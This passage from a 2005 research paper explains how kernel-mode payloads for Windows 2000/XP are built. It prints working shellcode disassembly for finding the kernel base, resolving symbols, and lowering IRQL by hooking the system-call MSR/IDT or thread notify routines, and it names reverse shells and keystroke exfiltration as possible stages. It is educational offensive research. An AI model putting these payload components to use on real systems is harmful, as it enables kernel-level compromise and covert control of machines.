

Kernel-mode Payloads on Windows

Dec 12, 2005

bugcheck
chris@bugcheck.org

skape
mmiller@hick.org

Contents

1	Foreword	2
2	Introduction	3
3	General Techniques	5
3.1	Finding Ntoskrnl.exe Base Address	5
3.1.1	IDT Scandown	6
3.1.2	KPRCB IdleThread Scandown	7
3.1.3	SYSENTER_EIP_MSR Scandown	7
3.1.4	Known Portable Base Scandown	8
3.2	Resolving Symbols	8
4	Payload Components	11
4.1	Migration	12
4.1.1	Direct IRQL Adjustment	13
4.1.2	System Call MSR/IDT Hooking	14
4.1.3	Thread Notify Routine	16
4.1.4	Hooking Object Type Initializer Procedures	20
4.1.5	Hooking KfRaiseIrql	20
4.2	Stagers	21
4.2.1	System Call Return Address Overwrite	21
4.2.2	Thread APC	22
4.2.3	User-mode Function Pointer Hook	23
4.2.4	SharedUserData SystemCall Hook	23
4.3	Recovery	27
4.3.1	Thread Spinning	28
4.3.2	Throwing an Exception	29
4.3.3	Thread Restart	29
4.3.4	Lock Release	31
4.4	Stages	31
5	Conclusion	32

Chapter 1

Foreword

Abstract: This paper discusses the theoretical and practical implementations of kernel-mode payloads on Windows. At the time of this writing, kernel-mode research is generally regarded as the realm of a few, but it is hoped that documents such as this one will encourage a thoughtful progression of the subject matter. To that point, this paper will describe some of the general techniques and algorithms that may be useful when implementing kernel-mode payloads. Furthermore, the anatomy of a kernel-mode payload will be broken down into four distinct units, known as *payload components*, and explained in detail. In the end, the reader should walk away with a concrete understanding of the way in which kernel-mode payloads operate on Windows.

Thanks: The authors would like to thank Barnaby Jack and Derek Soeder from eEye for their great paper on ring 0 payloads[2]. Thanks also go out to jt, spoonm, #vax, and everyone at nologin.

Disclaimer: The subject matter discussed in this document is presented in the interest of education. The authors cannot be held responsible for how the information is used. While the authors have tried to be as thorough as possible in their analysis, it is possible that they have made one or more mistakes. If a mistake is observed, please contact one or both of the authors so that it can be corrected.

Notes: In most cases, testing was performed on Windows 2000 SP4 and Windows XP SP0. Compatibility with other operating system versions, such as XP SP2, was inferred by analyzing structure offsets and disassemblies. It is theorized that many of the implementations described in this document are also compatible with Windows 2003 Server SP0/SP1, but due to lack of a functional 2003 installation, testing could not be performed.

Chapter 2

Introduction

The subject of exploiting user-mode vulnerabilities and the payloads required to take advantage of them is something that has been discussed at length over the course of the past few years. With this realization finally starting to set in, security vendors have begun implementing security products that are designed to prevent the exploitation of user-mode vulnerabilities through a number of different techniques. There is a shift afoot, however, and it has to do with attacker focus being shifted from user-mode vulnerabilities toward the realm of kernel-mode vulnerabilities. The reasons for this shift are due in part to the inherent value of a kernel-mode vulnerability and to the relatively unexplored nature of kernel-mode vulnerabilities, which is something that most researchers find hard to resist.

To help aide in the shift from user-mode to kernel-mode, this paper will explore and extend the topic of kernel-mode payloads on Windows. The reason that kernel-mode payloads are important is because they are the method of actually doing something meaningful with a kernel-mode vulnerability. Without a payload, the ability to control code execution means nothing more than having the ability to cause a denial of service. Barnaby Jack and Derek Soeder from eEye have done a great job in kicking off the public research into this area[2].

Just like user-mode payloads on Windows, kernel-mode payloads can be broken down into general techniques and algorithms that are applicable to most payloads. These techniques and algorithms will be discussed in chapter 3. Furthermore, both user-mode and kernel-mode payloads can be broken down into a set of *payload components* that can be combined together to form a single logical payload. A payload component is simply defined as an autonomous unit of a payload that has a specific purpose. For instance, both user-mode and kernel-mode payloads have an optional component called a *stager* that can be used to execute a second logical payload component known as a *stage*. One ma-

major distinction between kernel-mode and user-mode payloads, however, is that kernel-mode payloads are burdened with some extra considerations that are not found in user-mode payloads, and for that reason are broken down into a few more distinct payload components. These extra components will be discussed at length in chapter 4.

The purpose of this document is to provide the reader with a point of reference for the major aspects common to most all kernel-mode payloads. To simplify terminology, kernel-mode payloads will be referred to throughout the document as R0 payloads, short for ring 0, which symbolizes the processor ring that kernel-mode operates at on x86. For the same reason, user-mode payloads will be referred to throughout the document as R3 payloads, short for ring 3. To fully understand this paper, the reader should have a basic understanding of Windows kernel-mode programming.

In order to limit the scope of this document, the methods that can be used to achieve code execution through different vulnerability scenarios will not be discussed at length. The main reason for this is that general approaches to payload implementation are typically independent of the vulnerability in which they are used for. However, references to some of the research in this area can be found in the bibliography for readers who might be curious[4]. Furthermore, this document will not expand upon some of the interesting things that can be done in the context of a kernel-mode payload, such as keyboard sniffing. Instead, the topic of advanced kernel-mode payloads will be left for future research. The authors hope that by describing the various elements that will compose most all kernel-mode payloads, the process involved in implementing some of the more interesting parts will be made easier.

With all of the formalities out of the way, the first leap to take is one regarding an understanding of some of the general techniques that can be applied to kernel-mode payloads, and it's there that the journey begins.

Chapter 3

General Techniques

This chapter will outline some of the techniques and algorithms that are generally applicable to most kernel-mode payloads. For example, kernel-mode payloads may find it necessary to resolve certain exported symbols for use within the payload itself, much the same as user-mode payloads find it necessary.

3.1 Finding Ntoskrnl.exe Base Address

One of the pre-requisites to nearly all user-mode payloads on Windows is a stub that is responsible for locating the base address of `kernel32.dll`. In kernel-mode, the logical equivalent to `kernel32.dll` is `ntoskrnl.exe`, also known more succinctly as `nt`. The purpose of `nt` is to implement the heart of the kernel itself and to provide the core library interface to device drivers. For that reason, a lot of the routines that are exported by `nt` may be of use to kernel-mode payloads. This makes locating the base address of `nt` important because it is what facilitates the resolving of exported symbols. This section will describe a few techniques that can be used to locate the base address of `nt`.

One general technique that is taken to find the base address of `nt` is to reliably locate a pointer that exists somewhere within the memory mapping for `nt` and to scan down toward lower addresses until the MZ checksum is found. This technique will be referred to as a *scandown* technique since it involves scanning downward toward lower addresses¹. In the implementations provided below, each makes use of an optimization to walk down in `PAGE_SIZE` decrements. However, this also adds four bytes to the amount of space taken up by the stub. If size is a concern, walking down byte-by-byte as is done in the eEye paper can

¹This is completely synonymous with the *mid-delta* term used by eEye, but just clarified to indicate a direction

be a great way to save space.

Another thing to keep in mind with some of these implementations is that they may fail if the /3GB boot flag is specified. This is not generally very common, but it could be something that is encountered in the real world.

3.1.1 IDT Scandown

Size:	17 bytes
Compat:	All
Credit:	eEye

The approach for finding the base address of `nt` discussed in eEye’s paper involved finding the high-order word of an IDT handler that was set to a symbol somewhere inside `nt`. After acquiring the symbol address, the payload simply walked down toward lower addresses in memory byte-by-byte until it found the MZ checksum. The following disassembly shows the approach taken to do this^[2]:

```
00000000 8B3538F0DFFF    mov esi,[0xffdff038]
00000006 AD             lodsd
00000007 AD             lodsd
00000008 48             dec eax
00000009 81384D5A9000    cmp dword [eax],0x905a4d
0000000F 75F7           jnz 0x8
```

This approach is perfectly fine, however, it could be prone to error if the four checksum bytes were found somewhere within `nt` which did not actually coincide with its base address. This issue is one that is present to any scandown technique (referred to as “mid-deltas” by eEye). However, scanning down byte-by-byte can be seen as potentially more error prone, but this is purely conjecture at this point as the authors are aware of no specific cases in which it would fail. It may also fail if the direction flag is not cleared, though the chances of this happening are minimal. One other limiting factor may be the presence of the NULL byte in the comparison. It is possible to slightly improve (depending upon which perspective one is looking at it from) this approach by scanning downward one page at a time and by eliminating the need to clear the direction flag². This also eliminates the presence of NULL bytes. However, some of these changes lead to the code being slightly larger (20 bytes total):

```
00000000 6A38           push byte +0x38
00000002 5B             pop ebx
00000003 648B03        mov eax,[fs:ebx]
00000006 8B4004        mov eax,[eax+0x4]
00000009 662501F0      and ax,0xf001
```

²It is not possible walk downward in 16-page decrements due to the fact that 16 page alignment is not guaranteed universally in kernel-mode

```

0000000D 48          dec eax
0000000E 6681384D5A  cmp word [eax],0x5a4d
00000013 75F4        jnz 0x9

```

3.1.2 KPRCB IdleThread Scandown

Size:	17 bytes
Compat:	All

The base address of `nt` can also be found by looking at the `IdleThread` attribute of the `KPRCB` for the current `KPCR`. As it stands, this attribute always appears to point to a global variable inside of `nt`. Just like the `IDT` scandown approach, this technique uses the symbol as a starting point to walk down and find the base address of `nt` by looking for the `MZ` checksum. The following disassembly shows how this is accomplished:

```

00000000 A12CF1DFFF  mov eax,[0xffdff12c]
00000005 662501F0   and ax,0xf001
00000009 48         dec eax
0000000A 6681384D5A  cmp word [eax],0x5a4d
0000000F 75F4        jnz 0x5

```

This approach will fail if it happens that the `IdleThread` attribute does not point somewhere within `nt`, but thus far a scenario such as this has not been observed. It would also fail if the `Kprcb` attribute was not found immediately after the `Kpcr`, but this has not been observed in testing.

3.1.3 SYSENTER_EIP_MSR Scandown

Size:	19 bytes
Compat:	XP, 2003 (modern processors only)

For processors that support the system call `MSR 0x176` (`SYSENTER_EIP_MSR`), the base address of `nt` can be found by reading the registered system call handler and then using the scandown technique to find the base address. The following disassembly illustrates how this can be accomplished:

```

00000000 6A76        push byte +0x76
00000002 59         pop ecx
00000003 FEC5        inc ch
00000005 0F32        rdmsr
00000007 662501F0   and ax,0xf001
0000000B 48         dec eax
0000000C 6681384D5A  cmp word [eax],0x5a4d
00000011 75F4        jnz 0x7

```

3.1.4 Known Portable Base Scandown

Size:	17 bytes
Compat:	2000, XP, 2003 SP0

A quick sampling of base addresses across different major releases show that the base address of `nt` is always within a certain range. The one exception to this in the polling was `Windows 2003 Server SP1`, and for that reason this payload is not compatible. The basic idea is to simply use an offset that is known to reside within the region that `nt` will be mapped at on different operating system versions. The table below describes the mapping ranges for `nt` on a few different samplings:

Platform	Base Address	End Address
Windows 2000 SP4	0x80400000	0x805a3a00
Windows XP SP0	0x804d0000	0x806b3f00
Windows XP SP2	0x804d7000	0x806eb780
Windows 2003 SP1	0x80800000	0x80a6b000

As can be seen from the table, the address `0x8050babe` resides within every region that `nt` could be mapped at except for `Windows 2003 Server SP1`. The payload below implements this approach:

```
00000000 B8BEBA5080      mov eax,0x8050babe
00000005 662501F0      and ax,0xf001
00000009 48           dec eax
0000000A 6681384D5A   cmp word [eax],0x5a4d
0000000F 75F4        jnz 0x5
```

3.2 Resolving Symbols

Size:	67 bytes
Compat:	All

Another aspect common to almost all payloads on Windows is the use of code that walks the export directory of an image to resolve the address of a symbol³. In the kernel, things aren't much different. Barnaby refers to the use of a two-byte XOR/ROR hash in the eEye paper. Alternatively, a four byte hash could be used, but as pointed out in the eEye paper, this leads to a waste of space when two-byte hash could suffice equally well provided there are no collisions.

The approach implemented below involves passing a two-byte hash in the `ebx` register (the high order bytes do not matter) and the base address of the image

³The technique of walking the export directory to resolve symbols has been used for ages, so don't take the example here to be the first ever use of it

to resolve against in the `ebp` register. In order to save space, the code below is designed in such a way that it will transfer execution into the function after it resolves it, thus making it possible to resolve and call the function in one step without having to cache addresses. In most cases, this leads to a size efficiency increase.

```

00000000 60          pusha
00000001 31C9       xor ecx,ecx
00000003 8B7D3C     mov edi,[ebp+0x3c]
00000006 8B7C3D78   mov edi,[ebp+edi+0x78]
0000000A 01EF       add edi,ebp
0000000C 8B5720     mov edx,[edi+0x20]
0000000F 01EA       add edx,ebp
00000011 8B348A     mov esi,[edx+ecx*4]
00000014 01EE       add esi,ebp
00000016 31C0       xor eax,eax
00000018 99         cdq
00000019 AC         lodsb
0000001A C1CA0D     ror edx,0xd
0000001D 01C2       add edx,eax
0000001F 84C0       test al,al
00000021 75F6       jnz 0x19
00000023 41         inc ecx
00000024 6639DA     cmp dx,bx
00000027 75E3       jnz 0xc
00000029 49         dec ecx
0000002A 8B5F24     mov ebx,[edi+0x24]
0000002D 01EB       add ebx,ebp
0000002F 668B0C4B   mov cx,[ebx+ecx*2]
00000033 8B5F1C     mov ebx,[edi+0x1c]
00000036 01EB       add ebx,ebp
00000038 8B048B     mov eax,[ebx+ecx*4]
0000003B 01E8       add eax,ebp
0000003D 8944241C   mov [esp+0x1c],eax
00000041 61         popa
00000042 FFE0       jmp eax

```

To understand how this function works, take for example the resolution of `nt!ExAllocatePool`. First, a hash of the string “`ExAllocatePool`” must be obtained using the same algorithm that the payload uses. For this payload, the result is `0x0311b83f`⁴. Since the implementation uses a two-byte hash, only `0xb83f` is needed. This hash is then stored in the `bx` register. Since `ExAllocatePool` is found within `nt`, the base address of `nt` must be passed in the `ebp` register. Finally, in order to perform the resolution, the arguments to `nt!ExAllocatePool` must be pushed onto the stack prior to calling the resolution routine. This is because the resolution routine will transfer control into `nt!ExAllocatePool` after the resolution succeeds and therefore must have the proper arguments on the stack.

⁴This was calculated by doing `perl -Ilib -MPex::Utils -e "printf '%.8x;', Pex::Utils::Ror(Pex::Utils::RorHash("ExAllocatePool"), 13);"`

One downside to this implementation is that it won't support the resolution of data exports (since it tries to jump into them). However, for such a purpose, the routine could be modified to simply not issue the `jmp` instruction and instead rely on the caller to execute it. It is also important for payloads that use this resolution technique to clear the direction flag with `cld`.

Chapter 4

Payload Components

This chapter will outline four distinct components that can be used in conjunction with one another to produce a logical kernel-mode payload. Unlike user-mode vulnerabilities, kernel-mode vulnerabilities tend to be a bit more involved when it comes to considerations that must be made when attempting to execute code after successfully exploiting a target. These concerns include things like IRQL considerations, setting up code for execution, gracefully continuing execution, and what action to actually perform. Some of these steps have parallels to user-mode payloads, but others do not.

The first consideration that must be made when implementing a kernel-mode payload is whether or not the IRQL that the payload will be running at is a concern. For instance, if the payload will be making use of functions that require the processor to be running at `PASSIVE_LEVEL`, then it may be necessary to ensure that the processor is transitioned to a safe IRQL. This consideration is also dependent on the vulnerability in question as to whether or not the IRQL will even be a problem. For scenarios where it is a problem, a *migration* payload component can be used to ensure that the code that requires a specific IRQL is executed in a safe manner.

The second consideration involves staging either a R3 payload (or secondary R0 payload) to another location for execution. This payload component is encapsulated by a *stager* which has parallels to payload stagers found in typical user-mode payloads. Unlike user-mode payloads, though, kernel-mode stagers are typically designed to execute code in another context, such as in a user-mode process or in another kernel-mode thread context. As such, stagers may sometimes overlap with the purpose of the migration component, such as when the act of staging leads to the stage executing at a safe IRQL, and can therefore be considered a superset of a migration component in that case.

The third consideration has to do with how the payload gracefully restores

execution after it has completed. This portion of a kernel-mode payload is classified as the *recovery* component. In short, the recovery component of a payload finds a way to make sure that the kernel does not crash or otherwise become unusable. If the kernel were to crash, any code that the payload had intended to execute may not actually get a chance to run depending on how the payload is structured. As such, recovery is one of the most volatile and critical aspects of a kernel-mode payload.

Finally, and most importantly, the fourth component of a kernel-mode payload is the *stage* component. It is this component that actually performs the real work of the payload. For instance, a stage component might detect that it's running in the context of `lsass.exe` and create a reverse shell in user-mode. As another example of a stage component, eEye demonstrated a keyboard hook that sent keystrokes back in ICMP echo responses from the host[2]. Stages have a very broad definition.

The following sections will explain each one of the four payload components in detail and offer techniques and implementations that can be used under certain situations.

4.1 Migration

One of the things that is different about kernel-mode vulnerabilities in relation to user-mode vulnerabilities is that the Windows kernel operates internally at specific **Interrupt Request Levels**, also known as IRQLs. The purpose of IRQLs are to allow the kernel to mask off interrupts that occur at a lower level than the one that the processor is currently executing at. This ensures that a piece of code will run un-interrupted by threads and hardware/software interrupts that have a lesser priority. It also allows the kernel to define a driver model that ensures that certain operations are not performed at critical processor IRQLs. For instance, it is not permitted to block at any IRQL greater than or equal to `DISPATCH_LEVEL`. It is also not permitted to reference pageable memory that has been paged out at greater than or equal to `DISPATCH_LEVEL`.

The reason this is important is because the IRQL that the processor will be running at when a kernel-mode vulnerability is triggered is highly dependent upon the area in which the vulnerability occurs. For this reason, it may be generally necessary to have an approach for either directly or indirectly lowering the IRQL in such a way that permits the use of some of the common driver support routines. As an example, it is not possible to call `nt!KeInsertQueueApc` at an IRQL greater than `PASSIVE_LEVEL`.

This section will focus on describing methods that could be used to implement *migration* payloads. The purpose of a migration payload is to migrate the processor to an IRQL that will allow payloads to make use of pageable memory

and common driver support routines as described above. The techniques that can be used to do this vary in terms of stability and simplicity. It's generally a matter of picking the right one for the job.

4.1.1 Direct IRQL Adjustment

Type:	R0 IRQL Migrator
Size:	6 bytes
Compat:	All

One of the most straight-forward approaches that can be taken to migrate a payload to a safe IRQL is to directly lower a processor's IRQL. This approach was first proposed by eEye and involved resolving and calling `hal!KeLowerIrql` with the desired IRQL, such as `PASSIVE_LEVEL`[2]. This technique is very dangerous due to the way in which IRQLs are intended to be used. The direct lowering of an IRQL can lead to machine deadlocks and crashes due to unsafe assumptions about locks being held, among other things.

An optimization to the `hal!KeLowerIrql` technique is to perform the operation that `hal!KeLowerIrql` actually performs. Specifically, `hal!KeLowerIrql` is a simple wrapper for `hal!KfLowerIrql` which adjusts the `Irql` attribute of the `KPCR` structure for a specific processor to the supplied IRQL (as well as calling software interrupt handlers for masked IRQLs). To implement a payload that migrates to a safe IRQL, all that is required is to adjust the value at `fs:0x24`, such as by lowering it to `PASSIVE_LEVEL` as shown below¹.

```
00000000 31C0          xor  eax,eax
00000002 64894024     mov  [fs:eax+0x24],eax
```

One concern about taking this approach over calling `hal!KeLowerIrql` is that the soft-interrupt handlers associated with interrupts that were masked while at a raised IRQL will not be called. It is unclear whether or not this could lead to a deadlock, but is theorized that the answer could be yes. However, the authors did test writing a driver that raised to `HIGH_LEVEL`, spun for a period of time (during which kb/mouse interrupts were sent), and then manually adjusted the IRQL as described above. There appeared to be no adverse side effects, but it has not been ruled out that a deadlock could be possible².

Aside from the risks, this approach is nice because it is very small (6 bytes), so assuming there are no significant problems with it, then the use of this method would be a no-brainer given the right set of circumstances for a vulnerability.

¹In kernel-mode, the `fs` segment points to the current processor's `KPCR` structure

²Consequently, if anyone knows a definitive answer to this, the authors would love to hear it

4.1.2 System Call MSR/IDT Hooking

Type:	R0 IRQL Migrator
Size:	97 bytes
Compat:	All

One relatively simple way of migrating a R0 payload to a safe IRQL is by hooking the function used to dispatch system calls in kernel-mode through the use of a processor model-specific register. In newer processors, system calls are dispatched through an improved interface that takes advantage of a registered function pointer that is given control when a system call is dispatched. The function pointer is stored within the **STAR** model-specific register that has a symbolic code of **0x176**.

To take advantage of this on Windows XP+ for the purpose payload migration, all that is required is to first read the current state of the MSR so that the original system call dispatcher routine can be preserved. After that, the second stage of the R0 payload must be copied to another location, preferably globally accessible and unused, such as **SharedUserData** or the **KPRCB**. Once the second stage has been copied, the value of the MSR can be changed to point to the first instruction of the now-copied stage. The end result is that whenever a system call is dispatched from user-mode, second stage of the R0 payload will be executed as **IRQL = PASSIVE**.

For Windows 2000, and for versions of Windows XP+ running on older hardware, another approach is required that is virtually equivalent. Instead of changing the processor MSR, the IDT entry for the **0x2e** soft-interrupt that is used to dispatch system calls must be hooked so that whenever the soft-interrupt is triggered the migrated R0 payload is called. The steps taken to copy the second stage to another location are the same as they would be under the MSR approach.

The following steps outline one way in which a stager of this type could be implemented for **Windows 2000** and **Windows XP**.

1. Determining which system call vector to hook.

By checking **KUSER_SHARED_DATA.NtMinorVersion** located at **0xffdf0270** for a value of 0 it is safe to assume the IDT will need to be hooked since the **syscall/sysenter** instructions are not used in Windows 2000, otherwise the hook should be installed in the **MSR:0x176** register. Note however that it is possible Windows XP will not use this method under rare circumstances. Also an assumption of **NtMajorVersion** being 5 is made.

2. Caching the existing service routine address

If the **MSR** register is to be hooked the current value can be retrieved by

placing the symbolic code of 0x176 in `ecx` and using the `rdmsr` instruction. The existing value will be returned in `edx:eax`. If the IDT entry at index 0x2e is to be hooked it can be retrieved by first obtaining the processors IDT base using the `sidt` instruction. The entry then can be located at offset 0x170 relative to the base since the IDT is an array of `KIDTENTRY` structures. Lastly the address of the code that services the interrupt is in `KIDTENTRY` with the low word at `Offset` and high word at `ExtendedOffset`. The following is the definition of `KIDTENTRY`.

```
kd> dt _KIDTENTRY
+0x000 Offset          : Uint2B
+0x002 Selector       : Uint2B
+0x004 Access         : Uint2B
+0x006 ExtendedOffset : Uint2B
```

3. Migrating the payload

A relatively safe place to migrate the payload to is the free space after the first processors `KPCR` structure. An arbitrary value of 0xffdf80 is used to cache the current service routine address and the remainder of the payload is copied to 0xffdf84 followed by a an indirect jump to the original service routine using `jmp [0xffdf80]`. Note that a payload is responsible for maintaining all registers before calling the original service routine with this implementation. The payload also may not exceed the end of the memory page, thus limiting its size to 630 bytes. Historically, R0 shellcode has been put in the space after `SharedUserData` since it is exposed to all processes at R3. However, that could have its disadvantages if the payload has no requirements to be accessed from R3. The down side is the smaller amount of free space available.

4. Hooking the service routine

Using the same methods described to cache the current service routine are used to hook. For hooking the IDT, interrupts are temporarily disabled to overwrite the `KIDTENTRY Offset` and `ExtendedOffset` fields. Disabling interrupts on the current processor will still be safe in multiprocessor environments since IDTs are maintained on a per processor basis. For hooking the MSR, the new service routine is placed in `edx:eax` (for this case 0x0:0xffdf84), 0x176 in `ecx`, and issue a `wrmsr` instruction.

The following code illustrates an implementation of this type of staging payload. It's roughly 97 bytes in size, excluding the staged payload and the recovery method. Removing the support for hooking the IDT entry reduces the size to roughly 47 bytes.

```
00000000 FC          cld
00000001 BF80FDDFFF    mov edi,0xffdf80
```

```

00000006 57          push edi
00000007 6A76       push byte +0x76
00000009 58          pop eax
0000000A FEC4       inc ah
0000000C 99          cdq
0000000D 91          xchg eax,ecx
0000000E 89F8       mov eax,edi
00000010 66B87002   mov ax,0x270
00000014 3910       cmp [eax],edx
00000016 EB06       jmp short 0x1e
00000018 50          push eax
00000019 0F32       rdmsr
0000001B AB          stosd
0000001C EB3E       jmp short 0x5c
0000001E 648B4238   mov eax,[fs:edx+0x38]
00000022 8D4408FA   lea eax,[eax+ecx-0x6]
00000026 50          push eax
00000027 91          xchg eax,ecx
00000028 8B4104     mov eax,[ecx+0x4]
0000002B 668B01     mov ax,[ecx]
0000002E AB          stosd
0000002F EB2B       jmp short 0x5c
00000031 5E          pop esi
00000032 6A01       push byte +0x1
00000034 59          pop ecx
00000035 F3A5       rep movsd
00000037 B8FF2580FD mov eax,0xfd8025ff
0000003C AB          stosd
0000003D 66C707DFFF mov word [edi],0xffdf
00000042 59          pop ecx
00000043 58          pop eax
00000044 0404       add al,0x4
00000046 85C9       test ecx,ecx
00000048 9C          pushf
00000049 FA          cli
0000004A 668901     mov [ecx],ax
0000004D C1E810     shr eax,0x10
00000050 66894106   mov [ecx+0x6],ax
00000054 9D          popf
00000055 EB04       jmp short 0x5b
00000057 31D2       xor edx,edx
00000059 0F30       wrmsr
0000005B C3          ret ; replace with recovery method
0000005C E8D0FFFFFF call 0x31

```

... R0 stage here ...

4.1.3 Thread Notify Routine

Type:	R0 IRQL Migrator
Size:	127 bytes
Compat:	2000, XP

Another technique that can be used to migrate a payload to a safe IRQL

involves setting up a thread notify routine which is normally done by calling `nt!PsSetCreateThreadNotifyRoutine`. Unfortunately, the documentation states that this routine can only be called at `PASSIVE_LEVEL`, thus making it appear as if calling it from a payload would lead to problems. While this is true, it is also possible to manually create a notify routine by modifying the global array of thread notify routines. Although this array is not exported, it is easy to find by extracting an address reference to it from one of either `nt!PsSetCreateThreadNotifyRoutine` or `nt!PsRemoveCreateThreadNotifyRoutine`. By using this basic approach, it is possible to write a migration payload that transitions to `PASSIVE_LEVEL` by registering a callback that is called whenever a thread is created or deleted.

In more detail, a few steps must be taken in order to get this to work properly on 2000 and XP. The steps taken on 2003 should be pretty much the same as XP, but have not been tested.

1. Find the base address of `nt`

The base address of `nt` must be located so that an exported symbol can be resolved.

2. Determine the current operating system

Since the method used to install the thread notify routines differ between 2000 and XP, a check must be made to see what operating system the payload is currently running on. This is done by checking the `NtMinorVersion` attribute of `KUSER_SHARED_DATA` at `0xffdf0270`.

3. Shift `edi` to point to the storage buffer

Due to the fact that it can't be generally assumed that the buffer the payload is running from will stick around until the notify routine is called, the stage associated with the payload must be copied to another location. In this case, the payload is copied to a buffer starting at `0xffdf04e0`.

4. If the payload is running on XP

On XP, the technique used to register the thread notify routine requires creating a callback structure in a global location and manually inserting it into the `nt!PspCreateThreadNotifyRoutine` array. This has to be done in order to avoid IRQL issues. For that reason, a fake callback structure is created and is designed to be stored at `0xffdf04e0`. The actual code that will be executed will be copied to `0xffdf04e8`. The function pointer inside the callback structure is located at offset `0x4`, but in the interest of size, both of the first attributes are initialized to point to `0xffdf04e8`.

It is also important to note that on XP, the `nt!PspCreateThreadNotifyRoutineCount` must be incremented so that the notify routine will actually be called. Fortunately, for versions of XP currently tested, this value is located `0x20` bytes after the notify routine array.

5. If the payload is running on 2000

On 2000, the `nt!PspCreateThreadNotifyRoutine` is just an array of function pointers. For that reason, registering the notify routine is much simpler and can actually be done by calling `nt!PsSetCreateThreadNotifyRoutine` without much of a concern since no extra memory is allocated. By calling the real exported routine directly, it is not necessary to manually increment the `nt!PspCreateThreadNotifyRoutineCount`. Furthermore, doing so would not be as easy as it is on XP because the count variable is located quite a distance away from the array itself.

6. Resolve the exported symbol

The symbol resolution approach taken in this payload involves comparing part of an exported symbol's name with "dNot". This is done because on XP, the actual symbol needed in order to extract the address of `nt!PspCreateThreadNotifyRoutine` is found a few bytes into `nt!PsRemoveCreateThreadNotifyRoutine`. However, on 2000, the address of `nt!PsSetCreateThreadNotifyRoutine` needs to be resolved as it is going to be directly called. As such, the offset into the string that is compared between 2000 and XP differs. For 2000, the offset is `0x10`. For XP, the offset is `0x13`. The end result of the resolution process is that if the payload is running on XP, the `eax` register will hold the address of `nt!PsRemoveCreateThreadNotifyRoutine` and if it's running on 2000 it will hold the address of `nt!PsSetCreateThreadNotifyRoutine`.

7. Copy the second stage payload

Once the symbol has been resolved, the second stage payload is copied to the destination described in an earlier step.

8. Set up the notify routine entry

If the payload is running on XP, a fake callback structure is manually inserted into the `nt!PspCreateThreadNotifyRoutine` array and the `nt!PspCreateThreadNotifyRoutineCount` is manually incremented. If the payload is running on 2000, a direct call to `nt!PsSetCreateThreadNotifyRoutine` is issued with the pointer to the copied second stage as the notify routine to be registered.

A payload that implements the thread notify routine approach is shown below:

```
00000000 FC          cld
00000001 A12CF1DFFF    mov eax,[0xffdff12c]
00000006 48          dec eax
00000007 6631C0       xor ax,ax
0000000A 6681384D5A   cmp word [eax],0x5a4d
0000000F 75F5        jnz 0x6
00000011 95          xchg eax,ebp
00000012 BF7002DFFF    mov edi,0xffdf0270
00000017 803F01      cmp byte [edi],0x1
0000001A 66D1C7      rol di,1
0000001D 57          push edi
0000001E 750E        jnz 0x2e
00000020 89F8        mov eax,edi
00000022 83C008      add eax,byte +0x8
00000025 AB          stosd
00000026 AB          stosd
00000027 57          push edi
00000028 6A06        push byte +0x6
0000002A 6A13        push byte +0x13
0000002C EB05        jmp short 0x33
0000002E 57          push edi
0000002F 6A81        push byte -0x7f
00000031 6A10        push byte +0x10
00000033 5A          pop edx
00000034 31C9        xor ecx,ecx
00000036 8B7D3C      mov edi,[ebp+0x3c]
00000039 8B7C3D78    mov edi,[ebp+edi+0x78]
0000003D 01EF        add edi,ebp
0000003F 8B7720      mov esi,[edi+0x20]
00000042 01EE        add esi,ebp
00000044 AD          lodsd
00000045 41          inc ecx
00000046 01E8        add eax,ebp
00000048 813C10644E6F74  cmp dword [eax+edx],0x746f4e64
0000004F 75F3        jnz 0x44
00000051 49          dec ecx
00000052 8B5F24      mov ebx,[edi+0x24]
00000055 01EB        add ebx,ebp
00000057 668B0C4B    mov cx,[ebx+ecx*2]
0000005B 8B5F1C      mov ebx,[edi+0x1c]
0000005E 01EB        add ebx,ebp
00000060 8B048B      mov eax,[ebx+ecx*4]
00000063 01E8        add eax,ebp
00000065 59          pop ecx
00000066 85C9        test ecx,ecx
00000068 8B1C08      mov ebx,[eax+ecx]
0000006B EB14        jmp short 0x81
0000006D 5E          pop esi
0000006E 5F          pop edi
0000006F 6A01        push byte +0x1
00000071 59          pop ecx
00000072 F3A5        rep movsd
00000074 7808        js 0x7e
00000076 5F          pop edi
00000077 893B        mov [ebx],edi
```

```

00000079 FF4320          inc dword [ebx+0x20]
0000007C EB02           jmp short 0x80
0000007E FFD0          call eax
00000080 C3           ret
00000081 E8E7FFFFFF    call 0x6d

```

... R0 stage here ...

The R0 stage must keep in mind that it will be called in the context of a callback, so in order to ensure graceful recovery the stage must issue a `ret 0xc` or equivalent instruction upon completion. The R0 stage must also be capable of being re-entered without having any adverse side effects. This approach may also be compatible with 2003, but tests were not performed. This payload could be made significantly smaller if it were targeted to a specific OS version. One major benefit to this approach is that the stage will be passed arguments that are very useful for R3 code injection, such as a `ProcessId` and `ThreadId`.

This approach has quite a few cons. First, the size of the payload alone makes it less useful due to all the work required to just migrate to a safe IRQL. Furthermore, this payload also relies on offsets that may be unreliable across new versions of the operating system, specifically on XP. It also depends on the pages that the notify routine array resides at being paged in at the time of the registration. If they are not, the payload will fail if it is running at a raised IRQL that does not permit page faults.

4.1.4 Hooking Object Type Initializer Procedures

One theoretical way that could be used to migrate to a safe IRQL would be to hook into one of the generalized object type initializer procedures associated with a specific object type, such as `nt!PsThreadType` or `nt!PsProcessType`³. The method taken to do this would be to first resolve one of the exported object types and then alter one of the procedure attributes, such as the `OpenProcedure`, to point into a buffer that contains the payload to execute. The payload could then make a determination on whether or not it's safe to execute based on the current IRQL. It may also be safe, in some cases, to assume that the IRQL will be `PASSIVE_LEVEL` for a given object type procedure. Matt Conover also describes how this can be done in his *Malware Profiling and Rootkit Detection on Windows* paper[1]. Thanks to Derek Soeder for suggesting this approach.

4.1.5 Hooking KfRaiseIrql

This approach was suggested by Derek Soeder could be quite reliable as an IRQL migration component. The basic concept would be to resolve and hook

³These procedures can be found in the `_OBJECT_TYPE_INITIALIZER` structure

`hal!KfRaiseIrql`. Inside the hook routine, a check could be performed to see if the current IRQL is passive and, if so, run the rest of the payload. However, as Derek points out, one of the problems with this approach would center around the method used to hook the function considering it'd be somewhat expensive to do a detours-style preamble hook (although it's fairly easy to disable write protection). Still, this approach shows a good line of thinking that could be used to get to a safe IRQL.

4.2 Stagers

The *stager* payload component is designed to set up the execution of a separate payload either at R0 or R3. This payload component is pretty much equivalent to the concept of stagers in user-mode payloads, but instead of reading in a payload off the wire for execution, R0 stagers typically have the staged payload tacked on to the stager already since there is no elegant method of reading in a second stage from the network without consuming a lot of space in the process. This section will describe some of the techniques that can be used to execute a stage at either R0 or R3. The techniques that are theoretical and do not have proof of concept code will be described as such.

